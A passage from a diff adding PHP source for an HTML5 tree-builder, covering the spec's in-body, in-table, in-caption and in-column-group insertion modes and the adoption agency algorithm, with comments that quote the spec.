) + ); + } + + /* If the stack of open elements has in scope an element whose + tag name is one of "h1", "h2", "h3", "h4", "h5", or "h6", then + this is a parse error; pop elements from the stack until an + element with one of those tag names has been popped from the + stack. */ + while ($this->elementInScope(array('h1', 'h2', 'h3', 'h4', 'h5', 'h6'))) { + array_pop($this->stack); + } + + /* Insert an HTML element for the token. */ + $this->insertElement($token); + break; + + /* A start tag whose tag name is "a" */ + case 'a': + /* If the list of active formatting elements contains + an element whose tag name is "a" between the end of the + list and the last marker on the list (or the start of + the list if there is no marker on the list), then this + is a parse error; act as if an end tag with the tag name + "a" had been seen, then remove that element from the list + of active formatting elements and the stack of open + elements if the end tag didn't already remove it (it + might not have if the element is not in table scope). */ + $leng = count($this->a_formatting); + + for ($n = $leng - 1; $n >= 0; $n--) { + if ($this->a_formatting[$n] === self::MARKER) { + break; + + } elseif ($this->a_formatting[$n]->nodeName === 'a') { + $this->emitToken( + array( + 'name' => 'a', + 'type' => HTML5::ENDTAG + ) + ); + break; + } + } + + /* Reconstruct the active formatting elements, if any. */ + $this->reconstructActiveFormattingElements(); + + /* Insert an HTML element for the token. */ + $el = $this->insertElement($token); + + /* Add that element to the list of active formatting + elements. */ + $this->a_formatting[] = $el; + break; + + /* A start tag whose tag name is one of: "b", "big", "em", "font", + "i", "nobr", "s", "small", "strike", "strong", "tt", "u" */ + case 'b': + case 'big': + case 'em': + case 'font': + case 'i': + case 'nobr': + case 's': + case 'small': + case 'strike': + case 'strong': + case 'tt': + case 'u': + /* Reconstruct the active formatting elements, if any. */ + $this->reconstructActiveFormattingElements(); + + /* Insert an HTML element for the token. */ + $el = $this->insertElement($token); + + /* Add that element to the list of active formatting + elements. */ + $this->a_formatting[] = $el; + break; + + /* A start tag token whose tag name is "button" */ + case 'button': + /* If the stack of open elements has a button element in scope, + then this is a parse error; act as if an end tag with the tag + name "button" had been seen, then reprocess the token. (We don't + do that. Unnecessary.) */ + if ($this->elementInScope('button')) { + $this->inBody( + array( + 'name' => 'button', + 'type' => HTML5::ENDTAG + ) + ); + } + + /* Reconstruct the active formatting elements, if any. */ + $this->reconstructActiveFormattingElements(); + + /* Insert an HTML element for the token. */ + $this->insertElement($token); + + /* Insert a marker at the end of the list of active + formatting elements. */ + $this->a_formatting[] = self::MARKER; + break; + + /* A start tag token whose tag name is one of: "marquee", "object" */ + case 'marquee': + case 'object': + /* Reconstruct the active formatting elements, if any. */ + $this->reconstructActiveFormattingElements(); + + /* Insert an HTML element for the token. */ + $this->insertElement($token); + + /* Insert a marker at the end of the list of active + formatting elements. */ + $this->a_formatting[] = self::MARKER; + break; + + /* A start tag token whose tag name is "xmp" */ + case 'xmp': + /* Reconstruct the active formatting elements, if any. */ + $this->reconstructActiveFormattingElements(); + + /* Insert an HTML element for the token. */ + $this->insertElement($token); + + /* Switch the content model flag to the CDATA state. */ + return HTML5::CDATA; + break; + + /* A start tag whose tag name is "table" */ + case 'table': + /* If the stack of open elements has a p element in scope, + then act as if an end tag with the tag name p had been seen. */ + if ($this->elementInScope('p')) { + $this->emitToken( + array( + 'name' => 'p', + 'type' => HTML5::ENDTAG + ) + ); + } + + /* Insert an HTML element for the token. */ + $this->insertElement($token); + + /* Change the insertion mode to "in table". */ + $this->mode = self::IN_TABLE; + break; + + /* A start tag whose tag name is one of: "area", "basefont", + "bgsound", "br", "embed", "img", "param", "spacer", "wbr" */ + case 'area': + case 'basefont': + case 'bgsound': + case 'br': + case 'embed': + case 'img': + case 'param': + case 'spacer': + case 'wbr': + /* Reconstruct the active formatting elements, if any. */ + $this->reconstructActiveFormattingElements(); + + /* Insert an HTML element for the token. */ + $this->insertElement($token); + + /* Immediately pop the current node off the stack of open elements. */ + array_pop($this->stack); + break; + + /* A start tag whose tag name is "hr" */ + case 'hr': + /* If the stack of open elements has a p element in scope, + then act as if an end tag with the tag name p had been seen. */ + if ($this->elementInScope('p')) { + $this->emitToken( + array( + 'name' => 'p', + 'type' => HTML5::ENDTAG + ) + ); + } + + /* Insert an HTML element for the token. */ + $this->insertElement($token); + + /* Immediately pop the current node off the stack of open elements. */ + array_pop($this->stack); + break; + + /* A start tag whose tag name is "image" */ + case 'image': + /* Parse error. Change the token's tag name to "img" and + reprocess it. (Don't ask.) */ + $token['name'] = 'img'; + return $this->inBody($token); + break; + + /* A start tag whose tag name is "input" */ + case 'input': + /* Reconstruct the active formatting elements, if any. */ + $this->reconstructActiveFormattingElements(); + + /* Insert an input element for the token. */ + $element = $this->insertElement($token, false); + + /* If the form element pointer is not null, then associate the + input element with the form element pointed to by the form + element pointer. */ + $this->form_pointer !== null + ? $this->form_pointer->appendChild($element) + : end($this->stack)->appendChild($element); + + /* Pop that input element off the stack of open elements. */ + array_pop($this->stack); + break; + + /* A start tag whose tag name is "isindex" */ + case 'isindex': + /* Parse error. */ + // w/e + + /* If the form element pointer is not null, + then ignore the token. */ + if ($this->form_pointer === null) { + /* Act as if a start tag token with the tag name "form" had + been seen. */ + $this->inBody( + array( + 'name' => 'body', + 'type' => HTML5::STARTTAG, + 'attr' => array() + ) + ); + + /* Act as if a start tag token with the tag name "hr" had + been seen. */ + $this->inBody( + array( + 'name' => 'hr', + 'type' => HTML5::STARTTAG, + 'attr' => array() + ) + ); + + /* Act as if a start tag token with the tag name "p" had + been seen. */ + $this->inBody( + array( + 'name' => 'p', + 'type' => HTML5::STARTTAG, + 'attr' => array() + ) + ); + + /* Act as if a start tag token with the tag name "label" + had been seen. */ + $this->inBody( + array( + 'name' => 'label', + 'type' => HTML5::STARTTAG, + 'attr' => array() + ) + ); + + /* Act as if a stream of character tokens had been seen. */ + $this->insertText( + 'This is a searchable index. ' . + 'Insert your search keywords here: ' + ); + + /* Act as if a start tag token with the tag name "input" + had been seen, with all the attributes from the "isindex" + token, except with the "name" attribute set to the value + "isindex" (ignoring any explicit "name" attribute). */ + $attr = $token['attr']; + $attr[] = array('name' => 'name', 'value' => 'isindex'); + + $this->inBody( + array( + 'name' => 'input', + 'type' => HTML5::STARTTAG, + 'attr' => $attr + ) + ); + + /* Act as if a stream of character tokens had been seen + (see below for what they should say). */ + $this->insertText( + 'This is a searchable index. ' . + 'Insert your search keywords here: ' + ); + + /* Act as if an end tag token with the tag name "label" + had been seen. */ + $this->inBody( + array( + 'name' => 'label', + 'type' => HTML5::ENDTAG + ) + ); + + /* Act as if an end tag token with the tag name "p" had + been seen. */ + $this->inBody( + array( + 'name' => 'p', + 'type' => HTML5::ENDTAG + ) + ); + + /* Act as if a start tag token with the tag name "hr" had + been seen. */ + $this->inBody( + array( + 'name' => 'hr', + 'type' => HTML5::ENDTAG + ) + ); + + /* Act as if an end tag token with the tag name "form" had + been seen. */ + $this->inBody( + array( + 'name' => 'form', + 'type' => HTML5::ENDTAG + ) + ); + } + break; + + /* A start tag whose tag name is "textarea" */ + case 'textarea': + $this->insertElement($token); + + /* Switch the tokeniser's content model flag to the + RCDATA state. */ + return HTML5::RCDATA; + break; + + /* A start tag whose tag name is one of: "iframe", "noembed", + "noframes" */ + case 'iframe': + case 'noembed': + case 'noframes': + $this->insertElement($token); + + /* Switch the tokeniser's content model flag to the CDATA state. */ + return HTML5::CDATA; + break; + + /* A start tag whose tag name is "select" */ + case 'select': + /* Reconstruct the active formatting elements, if any. */ + $this->reconstructActiveFormattingElements(); + + /* Insert an HTML element for the token. */ + $this->insertElement($token); + + /* Change the insertion mode to "in select". */ + $this->mode = self::IN_SELECT; + break; + + /* A start or end tag whose tag name is one of: "caption", "col", + "colgroup", "frame", "frameset", "head", "option", "optgroup", + "tbody", "td", "tfoot", "th", "thead", "tr". */ + case 'caption': + case 'col': + case 'colgroup': + case 'frame': + case 'frameset': + case 'head': + case 'option': + case 'optgroup': + case 'tbody': + case 'td': + case 'tfoot': + case 'th': + case 'thead': + case 'tr': + // Parse error. Ignore the token. + break; + + /* A start or end tag whose tag name is one of: "event-source", + "section", "nav", "article", "aside", "header", "footer", + "datagrid", "command" */ + case 'event-source': + case 'section': + case 'nav': + case 'article': + case 'aside': + case 'header': + case 'footer': + case 'datagrid': + case 'command': + // Work in progress! + break; + + /* A start tag token not covered by the previous entries */ + default: + /* Reconstruct the active formatting elements, if any. */ + $this->reconstructActiveFormattingElements(); + + $this->insertElement($token, true, true); + break; + } + break; + + case HTML5::ENDTAG: + switch ($token['name']) { + /* An end tag with the tag name "body" */ + case 'body': + /* If the second element in the stack of open elements is + not a body element, this is a parse error. Ignore the token. + (innerHTML case) */ + if (count($this->stack) < 2 || $this->stack[1]->nodeName !== 'body') { + // Ignore. + + /* If the current node is not the body element, then this + is a parse error. */ + } elseif (end($this->stack)->nodeName !== 'body') { + // Parse error. + } + + /* Change the insertion mode to "after body". */ + $this->mode = self::AFTER_BODY; + break; + + /* An end tag with the tag name "html" */ + case 'html': + /* Act as if an end tag with tag name "body" had been seen, + then, if that token wasn't ignored, reprocess the current + token. */ + $this->inBody( + array( + 'name' => 'body', + 'type' => HTML5::ENDTAG + ) + ); + + return $this->afterBody($token); + break; + + /* An end tag whose tag name is one of: "address", "blockquote", + "center", "dir", "div", "dl", "fieldset", "listing", "menu", + "ol", "pre", "ul" */ + case 'address': + case 'blockquote': + case 'center': + case 'dir': + case 'div': + case 'dl': + case 'fieldset': + case 'listing': + case 'menu': + case 'ol': + case 'pre': + case 'ul': + /* If the stack of open elements has an element in scope + with the same tag name as that of the token, then generate + implied end tags. */ + if ($this->elementInScope($token['name'])) { + $this->generateImpliedEndTags(); + + /* Now, if the current node is not an element with + the same tag name as that of the token, then this + is a parse error. */ + // w/e + + /* If the stack of open elements has an element in + scope with the same tag name as that of the token, + then pop elements from this stack until an element + with that tag name has been popped from the stack. */ + for ($n = count($this->stack) - 1; $n >= 0; $n--) { + if ($this->stack[$n]->nodeName === $token['name']) { + $n = -1; + } + + array_pop($this->stack); + } + } + break; + + /* An end tag whose tag name is "form" */ + case 'form': + /* If the stack of open elements has an element in scope + with the same tag name as that of the token, then generate + implied end tags. */ + if ($this->elementInScope($token['name'])) { + $this->generateImpliedEndTags(); + + } + + if (end($this->stack)->nodeName !== $token['name']) { + /* Now, if the current node is not an element with the + same tag name as that of the token, then this is a parse + error. */ + // w/e + + } else { + /* Otherwise, if the current node is an element with + the same tag name as that of the token pop that element + from the stack. */ + array_pop($this->stack); + } + + /* In any case, set the form element pointer to null. */ + $this->form_pointer = null; + break; + + /* An end tag whose tag name is "p" */ + case 'p': + /* If the stack of open elements has a p element in scope, + then generate implied end tags, except for p elements. */ + if ($this->elementInScope('p')) { + $this->generateImpliedEndTags(array('p')); + + /* If the current node is not a p element, then this is + a parse error. */ + // k + + /* If the stack of open elements has a p element in + scope, then pop elements from this stack until the stack + no longer has a p element in scope. */ + for ($n = count($this->stack) - 1; $n >= 0; $n--) { + if ($this->elementInScope('p')) { + array_pop($this->stack); + + } else { + break; + } + } + } + break; + + /* An end tag whose tag name is "dd", "dt", or "li" */ + case 'dd': + case 'dt': + case 'li': + /* If the stack of open elements has an element in scope + whose tag name matches the tag name of the token, then + generate implied end tags, except for elements with the + same tag name as the token. */ + if ($this->elementInScope($token['name'])) { + $this->generateImpliedEndTags(array($token['name'])); + + /* If the current node is not an element with the same + tag name as the token, then this is a parse error. */ + // w/e + + /* If the stack of open elements has an element in scope + whose tag name matches the tag name of the token, then + pop elements from this stack until an element with that + tag name has been popped from the stack. */ + for ($n = count($this->stack) - 1; $n >= 0; $n--) { + if ($this->stack[$n]->nodeName === $token['name']) { + $n = -1; + } + + array_pop($this->stack); + } + } + break; + + /* An end tag whose tag name is one of: "h1", "h2", "h3", "h4", + "h5", "h6" */ + case 'h1': + case 'h2': + case 'h3': + case 'h4': + case 'h5': + case 'h6': + $elements = array('h1', 'h2', 'h3', 'h4', 'h5', 'h6'); + + /* If the stack of open elements has in scope an element whose + tag name is one of "h1", "h2", "h3", "h4", "h5", or "h6", then + generate implied end tags. */ + if ($this->elementInScope($elements)) { + $this->generateImpliedEndTags(); + + /* Now, if the current node is not an element with the same + tag name as that of the token, then this is a parse error. */ + // w/e + + /* If the stack of open elements has in scope an element + whose tag name is one of "h1", "h2", "h3", "h4", "h5", or + "h6", then pop elements from the stack until an element + with one of those tag names has been popped from the stack. */ + while ($this->elementInScope($elements)) { + array_pop($this->stack); + } + } + break; + + /* An end tag whose tag name is one of: "a", "b", "big", "em", + "font", "i", "nobr", "s", "small", "strike", "strong", "tt", "u" */ + case 'a': + case 'b': + case 'big': + case 'em': + case 'font': + case 'i': + case 'nobr': + case 's': + case 'small': + case 'strike': + case 'strong': + case 'tt': + case 'u': + /* 1. Let the formatting element be the last element in + the list of active formatting elements that: + * is between the end of the list and the last scope + marker in the list, if any, or the start of the list + otherwise, and + * has the same tag name as the token. + */ + while (true) { + for ($a = count($this->a_formatting) - 1; $a >= 0; $a--) { + if ($this->a_formatting[$a] === self::MARKER) { + break; + + } elseif ($this->a_formatting[$a]->tagName === $token['name']) { + $formatting_element = $this->a_formatting[$a]; + $in_stack = in_array($formatting_element, $this->stack, true); + $fe_af_pos = $a; + break; + } + } + + /* If there is no such node, or, if that node is + also in the stack of open elements but the element + is not in scope, then this is a parse error. Abort + these steps. The token is ignored. */ + if (!isset($formatting_element) || ($in_stack && + !$this->elementInScope($token['name'])) + ) { + break; + + /* Otherwise, if there is such a node, but that node + is not in the stack of open elements, then this is a + parse error; remove the element from the list, and + abort these steps. */ + } elseif (isset($formatting_element) && !$in_stack) { + unset($this->a_formatting[$fe_af_pos]); + $this->a_formatting = array_merge($this->a_formatting); + break; + } + + /* 2. Let the furthest block be the topmost node in the + stack of open elements that is lower in the stack + than the formatting element, and is not an element in + the phrasing or formatting categories. There might + not be one. */ + $fe_s_pos = array_search($formatting_element, $this->stack, true); + $length = count($this->stack); + + for ($s = $fe_s_pos + 1; $s < $length; $s++) { + $category = $this->getElementCategory($this->stack[$s]->nodeName); + + if ($category !== self::PHRASING && $category !== self::FORMATTING) { + $furthest_block = $this->stack[$s]; + } + } + + /* 3. If there is no furthest block, then the UA must + skip the subsequent steps and instead just pop all + the nodes from the bottom of the stack of open + elements, from the current node up to the formatting + element, and remove the formatting element from the + list of active formatting elements. */ + if (!isset($furthest_block)) { + for ($n = $length - 1; $n >= $fe_s_pos; $n--) { + array_pop($this->stack); + } + + unset($this->a_formatting[$fe_af_pos]); + $this->a_formatting = array_merge($this->a_formatting); + break; + } + + /* 4. Let the common ancestor be the element + immediately above the formatting element in the stack + of open elements. */ + $common_ancestor = $this->stack[$fe_s_pos - 1]; + + /* 5. If the furthest block has a parent node, then + remove the furthest block from its parent node. */ + if ($furthest_block->parentNode !== null) { + $furthest_block->parentNode->removeChild($furthest_block); + } + + /* 6. Let a bookmark note the position of the + formatting element in the list of active formatting + elements relative to the elements on either side + of it in the list. */ + $bookmark = $fe_af_pos; + + /* 7. Let node and last node be the furthest block. + Follow these steps: */ + $node = $furthest_block; + $last_node = $furthest_block; + + while (true) { + for ($n = array_search($node, $this->stack, true) - 1; $n >= 0; $n--) { + /* 7.1 Let node be the element immediately + prior to node in the stack of open elements. */ + $node = $this->stack[$n]; + + /* 7.2 If node is not in the list of active + formatting elements, then remove node from + the stack of open elements and then go back + to step 1. */ + if (!in_array($node, $this->a_formatting, true)) { + unset($this->stack[$n]); + $this->stack = array_merge($this->stack); + + } else { + break; + } + } + + /* 7.3 Otherwise, if node is the formatting + element, then go to the next step in the overall + algorithm. */ + if ($node === $formatting_element) { + break; + + /* 7.4 Otherwise, if last node is the furthest + block, then move the aforementioned bookmark to + be immediately after the node in the list of + active formatting elements. */ + } elseif ($last_node === $furthest_block) { + $bookmark = array_search($node, $this->a_formatting, true) + 1; + } + + /* 7.5 If node has any children, perform a + shallow clone of node, replace the entry for + node in the list of active formatting elements + with an entry for the clone, replace the entry + for node in the stack of open elements with an + entry for the clone, and let node be the clone. */ + if ($node->hasChildNodes()) { + $clone = $node->cloneNode(); + $s_pos = array_search($node, $this->stack, true); + $a_pos = array_search($node, $this->a_formatting, true); + + $this->stack[$s_pos] = $clone; + $this->a_formatting[$a_pos] = $clone; + $node = $clone; + } + + /* 7.6 Insert last node into node, first removing + it from its previous parent node if any. */ + if ($last_node->parentNode !== null) { + $last_node->parentNode->removeChild($last_node); + } + + $node->appendChild($last_node); + + /* 7.7 Let last node be node. */ + $last_node = $node; + } + + /* 8. Insert whatever last node ended up being in + the previous step into the common ancestor node, + first removing it from its previous parent node if + any. */ + if ($last_node->parentNode !== null) { + $last_node->parentNode->removeChild($last_node); + } + + $common_ancestor->appendChild($last_node); + + /* 9. Perform a shallow clone of the formatting + element. */ + $clone = $formatting_element->cloneNode(); + + /* 10. Take all of the child nodes of the furthest + block and append them to the clone created in the + last step. */ + while ($furthest_block->hasChildNodes()) { + $child = $furthest_block->firstChild; + $furthest_block->removeChild($child); + $clone->appendChild($child); + } + + /* 11. Append that clone to the furthest block. */ + $furthest_block->appendChild($clone); + + /* 12. Remove the formatting element from the list + of active formatting elements, and insert the clone + into the list of active formatting elements at the + position of the aforementioned bookmark. */ + $fe_af_pos = array_search($formatting_element, $this->a_formatting, true); + unset($this->a_formatting[$fe_af_pos]); + $this->a_formatting = array_merge($this->a_formatting); + + $af_part1 = array_slice($this->a_formatting, 0, $bookmark - 1); + $af_part2 = array_slice($this->a_formatting, $bookmark, count($this->a_formatting)); + $this->a_formatting = array_merge($af_part1, array($clone), $af_part2); + + /* 13. Remove the formatting element from the stack + of open elements, and insert the clone into the stack + of open elements immediately after (i.e. in a more + deeply nested position than) the position of the + furthest block in that stack. */ + $fe_s_pos = array_search($formatting_element, $this->stack, true); + $fb_s_pos = array_search($furthest_block, $this->stack, true); + unset($this->stack[$fe_s_pos]); + + $s_part1 = array_slice($this->stack, 0, $fb_s_pos); + $s_part2 = array_slice($this->stack, $fb_s_pos + 1, count($this->stack)); + $this->stack = array_merge($s_part1, array($clone), $s_part2); + + /* 14. Jump back to step 1 in this series of steps. */ + unset($formatting_element, $fe_af_pos, $fe_s_pos, $furthest_block); + } + break; + + /* An end tag token whose tag name is one of: "button", + "marquee", "object" */ + case 'button': + case 'marquee': + case 'object': + /* If the stack of open elements has an element in scope whose + tag name matches the tag name of the token, then generate implied + tags. */ + if ($this->elementInScope($token['name'])) { + $this->generateImpliedEndTags(); + + /* Now, if the current node is not an element with the same + tag name as the token, then this is a parse error. */ + // k + + /* Now, if the stack of open elements has an element in scope + whose tag name matches the tag name of the token, then pop + elements from the stack until that element has been popped from + the stack, and clear the list of active formatting elements up + to the last marker. */ + for ($n = count($this->stack) - 1; $n >= 0; $n--) { + if ($this->stack[$n]->nodeName === $token['name']) { + $n = -1; + } + + array_pop($this->stack); + } + + $marker = end(array_keys($this->a_formatting, self::MARKER, true)); + + for ($n = count($this->a_formatting) - 1; $n > $marker; $n--) { + array_pop($this->a_formatting); + } + } + break; + + /* Or an end tag whose tag name is one of: "area", "basefont", + "bgsound", "br", "embed", "hr", "iframe", "image", "img", + "input", "isindex", "noembed", "noframes", "param", "select", + "spacer", "table", "textarea", "wbr" */ + case 'area': + case 'basefont': + case 'bgsound': + case 'br': + case 'embed': + case 'hr': + case 'iframe': + case 'image': + case 'img': + case 'input': + case 'isindex': + case 'noembed': + case 'noframes': + case 'param': + case 'select': + case 'spacer': + case 'table': + case 'textarea': + case 'wbr': + // Parse error. Ignore the token. + break; + + /* An end tag token not covered by the previous entries */ + default: + for ($n = count($this->stack) - 1; $n >= 0; $n--) { + /* Initialise node to be the current node (the bottommost + node of the stack). */ + $node = end($this->stack); + + /* If node has the same tag name as the end tag token, + then: */ + if ($token['name'] === $node->nodeName) { + /* Generate implied end tags. */ + $this->generateImpliedEndTags(); + + /* If the tag name of the end tag token does not + match the tag name of the current node, this is a + parse error. */ + // k + + /* Pop all the nodes from the current node up to + node, including node, then stop this algorithm. */ + for ($x = count($this->stack) - $n; $x >= $n; $x--) { + array_pop($this->stack); + } + + } else { + $category = $this->getElementCategory($node); + + if ($category !== self::SPECIAL && $category !== self::SCOPING) { + /* Otherwise, if node is in neither the formatting + category nor the phrasing category, then this is a + parse error. Stop this algorithm. The end tag token + is ignored. */ + return false; + } + } + } + break; + } + break; + } + } + + private function inTable($token) + { + $clear = array('html', 'table'); + + /* A character token that is one of one of U+0009 CHARACTER TABULATION, + U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), + or U+0020 SPACE */ + if ($token['type'] === HTML5::CHARACTR && + preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data']) + ) { + /* Append the character to the current node. */ + $text = $this->dom->createTextNode($token['data']); + end($this->stack)->appendChild($text); + + /* A comment token */ + } elseif ($token['type'] === HTML5::COMMENT) { + /* Append a Comment node to the current node with the data + attribute set to the data given in the comment token. */ + $comment = $this->dom->createComment($token['data']); + end($this->stack)->appendChild($comment); + + /* A start tag whose tag name is "caption" */ + } elseif ($token['type'] === HTML5::STARTTAG && + $token['name'] === 'caption' + ) { + /* Clear the stack back to a table context. */ + $this->clearStackToTableContext($clear); + + /* Insert a marker at the end of the list of active + formatting elements. */ + $this->a_formatting[] = self::MARKER; + + /* Insert an HTML element for the token, then switch the + insertion mode to "in caption". */ + $this->insertElement($token); + $this->mode = self::IN_CAPTION; + + /* A start tag whose tag name is "colgroup" */ + } elseif ($token['type'] === HTML5::STARTTAG && + $token['name'] === 'colgroup' + ) { + /* Clear the stack back to a table context. */ + $this->clearStackToTableContext($clear); + + /* Insert an HTML element for the token, then switch the + insertion mode to "in column group". */ + $this->insertElement($token); + $this->mode = self::IN_CGROUP; + + /* A start tag whose tag name is "col" */ + } elseif ($token['type'] === HTML5::STARTTAG && + $token['name'] === 'col' + ) { + $this->inTable( + array( + 'name' => 'colgroup', + 'type' => HTML5::STARTTAG, + 'attr' => array() + ) + ); + + $this->inColumnGroup($token); + + /* A start tag whose tag name is one of: "tbody", "tfoot", "thead" */ + } elseif ($token['type'] === HTML5::STARTTAG && in_array( + $token['name'], + array('tbody', 'tfoot', 'thead') + ) + ) { + /* Clear the stack back to a table context. */ + $this->clearStackToTableContext($clear); + + /* Insert an HTML element for the token, then switch the insertion + mode to "in table body". */ + $this->insertElement($token); + $this->mode = self::IN_TBODY; + + /* A start tag whose tag name is one of: "td", "th", "tr" */ + } elseif ($token['type'] === HTML5::STARTTAG && + in_array($token['name'], array('td', 'th', 'tr')) + ) { + /* Act as if a start tag token with the tag name "tbody" had been + seen, then reprocess the current token. */ + $this->inTable( + array( + 'name' => 'tbody', + 'type' => HTML5::STARTTAG, + 'attr' => array() + ) + ); + + return $this->inTableBody($token); + + /* A start tag whose tag name is "table" */ + } elseif ($token['type'] === HTML5::STARTTAG && + $token['name'] === 'table' + ) { + /* Parse error. Act as if an end tag token with the tag name "table" + had been seen, then, if that token wasn't ignored, reprocess the + current token. */ + $this->inTable( + array( + 'name' => 'table', + 'type' => HTML5::ENDTAG + ) + ); + + return $this->mainPhase($token); + + /* An end tag whose tag name is "table" */ + } elseif ($token['type'] === HTML5::ENDTAG && + $token['name'] === 'table' + ) { + /* If the stack of open elements does not have an element in table + scope with the same tag name as the token, this is a parse error. + Ignore the token. (innerHTML case) */ + if (!$this->elementInScope($token['name'], true)) { + return false; + + /* Otherwise: */ + } else { + /* Generate implied end tags. */ + $this->generateImpliedEndTags(); + + /* Now, if the current node is not a table element, then this + is a parse error. */ + // w/e + + /* Pop elements from this stack until a table element has been + popped from the stack. */ + while (true) { + $current = end($this->stack)->nodeName; + array_pop($this->stack); + + if ($current === 'table') { + break; + } + } + + /* Reset the insertion mode appropriately. */ + $this->resetInsertionMode(); + } + + /* An end tag whose tag name is one of: "body", "caption", "col", + "colgroup", "html", "tbody", "td", "tfoot", "th", "thead", "tr" */ + } elseif ($token['type'] === HTML5::ENDTAG && in_array( + $token['name'], + array( + 'body', + 'caption', + 'col', + 'colgroup', + 'html', + 'tbody', + 'td', + 'tfoot', + 'th', + 'thead', + 'tr' + ) + ) + ) { + // Parse error. Ignore the token. + + /* Anything else */ + } else { + /* Parse error. Process the token as if the insertion mode was "in + body", with the following exception: */ + + /* If the current node is a table, tbody, tfoot, thead, or tr + element, then, whenever a node would be inserted into the current + node, it must instead be inserted into the foster parent element. */ + if (in_array( + end($this->stack)->nodeName, + array('table', 'tbody', 'tfoot', 'thead', 'tr') + ) + ) { + /* The foster parent element is the parent element of the last + table element in the stack of open elements, if there is a + table element and it has such a parent element. If there is no + table element in the stack of open elements (innerHTML case), + then the foster parent element is the first element in the + stack of open elements (the html element). Otherwise, if there + is a table element in the stack of open elements, but the last + table element in the stack of open elements has no parent, or + its parent node is not an element, then the foster parent + element is the element before the last table element in the + stack of open elements. */ + for ($n = count($this->stack) - 1; $n >= 0; $n--) { + if ($this->stack[$n]->nodeName === 'table') { + $table = $this->stack[$n]; + break; + } + } + + if (isset($table) && $table->parentNode !== null) { + $this->foster_parent = $table->parentNode; + + } elseif (!isset($table)) { + $this->foster_parent = $this->stack[0]; + + } elseif (isset($table) && ($table->parentNode === null || + $table->parentNode->nodeType !== XML_ELEMENT_NODE) + ) { + $this->foster_parent = $this->stack[$n - 1]; + } + } + + $this->inBody($token); + } + } + + private function inCaption($token) + { + /* An end tag whose tag name is "caption" */ + if ($token['type'] === HTML5::ENDTAG && $token['name'] === 'caption') { + /* If the stack of open elements does not have an element in table + scope with the same tag name as the token, this is a parse error. + Ignore the token. (innerHTML case) */ + if (!$this->elementInScope($token['name'], true)) { + // Ignore + + /* Otherwise: */ + } else { + /* Generate implied end tags. */ + $this->generateImpliedEndTags(); + + /* Now, if the current node is not a caption element, then this + is a parse error. */ + // w/e + + /* Pop elements from this stack until a caption element has + been popped from the stack. */ + while (true) { + $node = end($this->stack)->nodeName; + array_pop($this->stack); + + if ($node === 'caption') { + break; + } + } + + /* Clear the list of active formatting elements up to the last + marker. */ + $this->clearTheActiveFormattingElementsUpToTheLastMarker(); + + /* Switch the insertion mode to "in table". */ + $this->mode = self::IN_TABLE; + } + + /* A start tag whose tag name is one of: "caption", "col", "colgroup", + "tbody", "td", "tfoot", "th", "thead", "tr", or an end tag whose tag + name is "table" */ + } elseif (($token['type'] === HTML5::STARTTAG && in_array( + $token['name'], + array( + 'caption', + 'col', + 'colgroup', + 'tbody', + 'td', + 'tfoot', + 'th', + 'thead', + 'tr' + ) + )) || ($token['type'] === HTML5::ENDTAG && + $token['name'] === 'table') + ) { + /* Parse error. Act as if an end tag with the tag name "caption" + had been seen, then, if that token wasn't ignored, reprocess the + current token. */ + $this->inCaption( + array( + 'name' => 'caption', + 'type' => HTML5::ENDTAG + ) + ); + + return $this->inTable($token); + + /* An end tag whose tag name is one of: "body", "col", "colgroup", + "html", "tbody", "td", "tfoot", "th", "thead", "tr" */ + } elseif ($token['type'] === HTML5::ENDTAG && in_array( + $token['name'], + array( + 'body', + 'col', + 'colgroup', + 'html', + 'tbody', + 'tfoot', + 'th', + 'thead', + 'tr' + ) + ) + ) { + // Parse error. Ignore the token. + + /* Anything else */ + } else { + /* Process the token as if the insertion mode was "in body". */ + $this->inBody($token); + } + } + + private function inColumnGroup($token) + { + /* A character token that is one of one of U+0009 CHARACTER TABULATION, + U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), + or U+0020 SPACE */ + if ($token['type'] === HTML5::CHARACTR && + preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data']) + ) { + /* Append the character to the current node. */ + $text = $this->dom->createTextNode($token['data']); + end($this->stack)->appendChild($text); + + /* A comment token */ + } elseif ($token['type'] === HTML5::COMMENT) { + /* Append a Comment node to the current node with the data + attribute set to the data given in the comment token. */ + $comment = $this->dom->createComment($token['data']); + end($this->stack)->appendChild($comment); + + /* A start tag whose tag name is "col" */ + } elseif ($token['type'] === HTML5::STARTTAG && $token['name'] === 'col') { + /* Insert a col element for the token. Immediately pop the current + node off the stack of open elements. */ + $this->insertElement($token); + array_pop($this->stack); + + /* An end tag whose tag name is "colgroup" */ + } elseif ($token['type'] === HTML5::ENDTAG && + $token['name'] === 'colgroup' + ) { + /* If the current node is the root html element, then this is a + parse error, ignore the token. (innerHTML case) */ + if (end($this->stack)->nodeName === 'html') { + // Ignore + + /* Otherwise, pop the current node (which will be a colgroup + element) from the stack of open elements. Switch the insertion + mode to "in table". */ + } else { + array_pop($this->stack); + $this->mode = self::IN_TABLE; + } + + /* An end tag whose tag name is "col" */ + } elseif ($token['type'] === HTML5::ENDTAG && $token['name'] === 'col') { + /* Parse error. Ignore the token. */ + + /* Anything else */ + } else { + /* Act as if an end tag with the tag name "colgroup" had been seen, + and then, if that token wasn't ignored, reprocess the current token. */ + $this->inColumnGroup( + array( + 'name' => 'colgroup', + 'type' => HTML5::ENDTAG + ) + ); + + return $this->inTable($token); + } + } + + private function inTableBody($token) + { + $clear = array('tbody', 'tfoot', 'thead', 'html'); + + /* A start tag whose tag name is "tr" */ + if ($token['type'] === HTML5::STARTTAG && $token['name'] === 'tr') { + /* Clear the stack back to a table body context. */ + $this->clearStackToTableContext($clear); + + /* Insert a tr element for the token, then switch the insertion + mode to "in row". */ + $this->insertElement($token); + $this->mode = self::IN_ROW; + + /* A start tag whose tag name is one of: "th", "td" */ + } elseif ($token['type'] === HTML5::STARTTAG && + ($token['name'] === 'th' || $token['name'] === 'td') + ) { + /* Parse error. Act as if a start tag with the tag name "tr" had + been seen, then reprocess the current token. */ + $this->inTableBody( + array( + 'name' => 'tr', + 'type' => HTML5::STARTTAG, + 'attr' => array() + ) + ); + + return $this->inRow($token); + + /* An end tag whose tag name is one of: "tbody", "tfoot", "thead" */ + } elseif ($token['type'] === HTML5::ENDTAG && + in_array($token['name'], array('tbody', 'tfoot', 'thead')) + ) { + /* If the stack of open elements does not have an element in table + scope with the same tag name as the token, this is a parse error. + Ignore the token. */ + if 